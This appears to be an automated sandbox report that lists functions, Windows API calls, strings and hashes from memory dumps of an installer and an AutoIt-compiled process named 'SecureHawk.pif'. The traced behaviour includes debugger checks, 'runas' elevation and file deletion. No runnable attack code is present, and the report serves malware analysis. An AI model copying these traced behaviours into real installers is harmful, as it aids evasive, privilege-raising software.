Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$WriteINIStr: wrote [%s] %s=%s in %s$open
API String ID: 247603264-1827671502
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Skipping section: "%s", xrefs: 004050B5
Section: "%s", xrefs: 00405079

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 2f246f05ebd7dc674da9b5ff0baef701d10e4a3e2a51ec62881f8ce9e704e4b5
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 2f246f05ebd7dc674da9b5ff0baef701d10e4a3e2a51ec62881f8ce9e704e4b5
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: SecureHawk.pifPID: 6692, Parent PID: 4820COMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	120

Executed Functions

Function 00305240 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 147
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0030526C
IsDebuggerPresent.KERNEL32 ref: 0030527E
GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 003052E6

Part of subcall function 00301821: _memmove.LIBCMT ref: 0030185B

Part of subcall function 002FBBC6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 002FBC07

SetCurrentDirectoryW.KERNEL32(?), ref: 00305366
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00340AAE
SetCurrentDirectoryW.KERNEL32(?), ref: 00340AE6
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,003A5230), ref: 00340B69
ShellExecuteW.SHELL32(00000000), ref: 00340B70

Part of subcall function 0030514C: GetSysColorBrush.USER32(0000000F), ref: 00305156
Part of subcall function 0030514C: LoadCursorW.USER32(00000000,00007F00), ref: 00305165
Part of subcall function 0030514C: LoadIconW.USER32(00000063), ref: 0030517C
Part of subcall function 0030514C: LoadIconW.USER32(000000A4), ref: 0030518E
Part of subcall function 0030514C: LoadIconW.USER32(000000A2), ref: 003051A0
Part of subcall function 0030514C: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 003051C6
Part of subcall function 0030514C: RegisterClassExW.USER32(?), ref: 0030521C

Part of subcall function 003050DB: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00305109
Part of subcall function 003050DB: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 0030512A
Part of subcall function 003050DB: ShowWindow.USER32(00000000), ref: 0030513E
Part of subcall function 003050DB: ShowWindow.USER32(00000000), ref: 00305147

Part of subcall function 003059D3: _memset.LIBCMT ref: 003059F9
Part of subcall function 003059D3: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00305A9E

Strings

AutoIt, xrefs: 00340AA3
runas, xrefs: 00340B64
It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00340AA8

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 529118366-2030392706
Opcode ID: 218adb5afc4ce71e2fae09e91d22cf1a9926c8f7862a0835b5fcfc655ae0126b
Instruction ID: 23bc372e407f6a55e1275a0d0e7d52b704a4caec6208fb5a17ffd5d0f309903f
Opcode Fuzzy Hash: 218adb5afc4ce71e2fae09e91d22cf1a9926c8f7862a0835b5fcfc655ae0126b
Instruction Fuzzy Hash: 95510431A0520CAEDB07ABB0DC66EEE7B7CEF49344F1445A5F651AA1E3CA7459058B20

Function 00305D13 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00305D40

Part of subcall function 00301821: _memmove.LIBCMT ref: 0030185B

GetCurrentProcess.KERNEL32(?,00380A18,00000000,00000000,?), ref: 00305E07
IsWow64Process.KERNEL32(00000000), ref: 00305E0E
GetNativeSystemInfo.KERNEL32(00000000), ref: 00305E54
FreeLibrary.KERNEL32(00000000), ref: 00305E5F
GetSystemInfo.KERNEL32(00000000), ref: 00305E90
GetSystemInfo.KERNEL32(00000000), ref: 00305E9C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: dd625557816cc9a9b6730381a568b472e681327454b4c951fd7e93ee051b21e2
Instruction ID: ade92d77af5c7908ca8196a2f624100284efbbc0d421fb90b7a7149d493090fc
Opcode Fuzzy Hash: dd625557816cc9a9b6730381a568b472e681327454b4c951fd7e93ee051b21e2
Instruction Fuzzy Hash: A091B43154ABC4DEC737CB7894645ABFFE56F29300B88499ED0C797A81D230B548CB59

Function 00353E72 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003101AF: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00302A58,?,00008000), ref: 003101CF

Part of subcall function 00354E59: GetFileAttributesW.KERNEL32(?,00353A6B), ref: 00354E5A

FindFirstFileW.KERNEL32(?,?), ref: 00353EE9
DeleteFileW.KERNEL32(?,?,?,?), ref: 00353F39
FindNextFileW.KERNEL32(00000000,00000010), ref: 00353F4A
FindClose.KERNEL32(00000000), ref: 00353F61
FindClose.KERNEL32(00000000), ref: 00353F6A

Strings

\*.*, xrefs: 00353EBB

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: ef40d9e56aebe82c4cad582feb2ca6fa11fa7942837e95e6634b9f484c384878
Instruction ID: 40301f76b5e7127da46fb4ff5e2f9d89bec89b7e02e0ac1339dd30c0c3744d2a
Opcode Fuzzy Hash: ef40d9e56aebe82c4cad582feb2ca6fa11fa7942837e95e6634b9f484c384878
Instruction Fuzzy Hash: 2331A0310493459BC307EB64C8959AFB7ECBE95341F400E1DF8D1961E1EB60EA0CC7A2

Function 002FB020 Relevance: 8.1, APIs: 3, Strings: 1, Instructions: 1146COMMON

Download Yara Rule

APIs

Part of subcall function 00303740: CharUpperBuffW.USER32(?,003B61DC,00000000,?,00000000,003B61DC,?,002F53A5,?,?,?,?), ref: 0030375D

_memmove.LIBCMT ref: 002FB68A

Strings

pr;, xrefs: 003332A0

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
